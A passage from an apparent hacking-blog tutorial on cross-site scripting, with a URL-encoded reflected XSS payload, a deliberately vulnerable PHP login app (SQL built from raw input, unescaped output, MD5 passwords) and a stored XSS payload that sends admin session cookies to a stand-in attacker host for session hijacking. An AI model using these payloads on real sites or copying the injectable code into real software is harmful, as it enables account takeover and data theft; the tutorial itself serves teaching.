index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e</blockquote>
which is same as:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
Now the victim may not know what it is, because directly he cannot understand that the URL is crafted and their is a more chance that he can visit the URL.<br />
<h4 style="text-align: left;">
2. Persistent XSS Attack</h4>
In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device (mostly on a database). The damage caused by Persistent attack is more than the non-persistent attack. Here we will see how to hijack other user’s session by performing XSS.<br />
<br />
<b>Session</b><br />
<br />
HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other. But most of the web application don’t need this. Once the user has authenticated himself, the web server should not ask the username/password for the next request from the user. To do this, they need to maintain some kind of states between the web-browser and web-server which is done through the “Sessions”.<br />
<br />
When the user login for the first time, a session ID will be created by the web server and it will be sent to the web-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” in the cookie.<br />
<h4 style="text-align: left;">
Examples for Persistent XSS Attack</h4>
This sample web application we’ve given below that demonstrates the persistent XSS attack does the following:<br />
<br />
There are two types of users: “Admin” and “Normal” user.<br />
When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name.<br />
<br />
login.php:<br />
<blockquote class="tr_bq">
<?php<br />
$Host= '192.168.1.8';<br />
$Dbname= 'app';<br />
$User= 'yyy';<br />
$Password= 'xxx';<br />
$Schema = 'test';<br />
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
/* Connect with database asking for a new connection*/<br />
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
/* Error checking the connection string */<br />
if (!$Connect) {<br />
 echo "Database Connection Failure";<br />
 exit;<br />
}<br />
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";<br />
$result=pg_query($Connect,$query);<br />
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);<br />
$user_pass = md5($_POST['pass_word']);<br />
$user_name = $row['user_name'];<br />
if(strcmp($user_pass,$row['password'])!=0) {<br />
 echo "Login failed";<br />
}<br />
else {<br />
 # Start the session<br />
 session_start();<br />
 $_SESSION['USER_NAME'] = $user_name;<br />
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";<br />
}<br />
?></blockquote>
home.php:<br />
<blockquote class="tr_bq">
<?php<br />
session_start();<br />
if(!$_SESSION['USER_NAME']) {<br />
 echo "Need to login";<br />
}<br />
else {<br />
 $Host= '192.168.1.8';<br />
 $Dbname= 'app';<br />
 $User= 'yyy';<br />
 $Password= 'xxx';<br />
 $Schema = 'test';<br />
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
 if($_SERVER['REQUEST_METHOD'] == "POST") {<br />
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";<br />
  pg_query($Connect,$query);<br />
  echo "Update Success";<br />
 }<br />
 else {<br />
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {<br />
   echo "Welcome admin<br><hr>";<br />
   echo "List of user's are<br>";<br />
   $query = "select display_name from $Schema.members where user_name!='admin'";<br />
   $res = pg_query($Connect,$query);<br />
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {<br />
    echo "$row[display_name]<br>";<br />
   }<br />
 }<br />
 else {<br />
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";<br />
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";<br />
  echo "<input type=\"submit\" value=\"Update\">";<br />
 }<br />
}<br />
}<br />
?></blockquote>
Now the attacker log-in as a normal user, and he will enter the following in the textbox as his display name:<br />
<blockquote class="tr_bq">
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape$document.cookie$\;\">My Name</a></blockquote>
The above information entered by the attacker will be stored in the database (persistent).<br />
<br />
Now, when the admin log-in to the system, he will see a link named “My Name” along with other usernames. When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin” until the session is expired. The cookie information will be something like the following:<br />
<blockquote class="tr_bq">
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3</blockquote>
Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege until PHPSESSID expires.<br />
<br />
To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.<br />
<br />
We’ll cover how to use “Tamper Data” in future article of this series.</div>

XSS Attack Examples (Cross-Site Scripting Attacks)

In this article we will see a different kind of attack called XXS attacks. XSS stands for Cross Site Scripting. XSS is very similar t...

Fadu Hack

Top Ad unit 728 Ã— 90

How To Hack Windows Users with Metasploits !

Error based injection With Double Query (Medium Level)

All In One Drivers Pack - DriverPack Solution 15.7 Full + DriverPack's 15.06.5 [Updated]

Raspberry Pi Based Device Provides Anonymous WiFi which can send signal upto 2.5 miles

Class Union Based Injection (100% Working)

XSS Attack Examples (Cross-Site Scripting Attacks)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive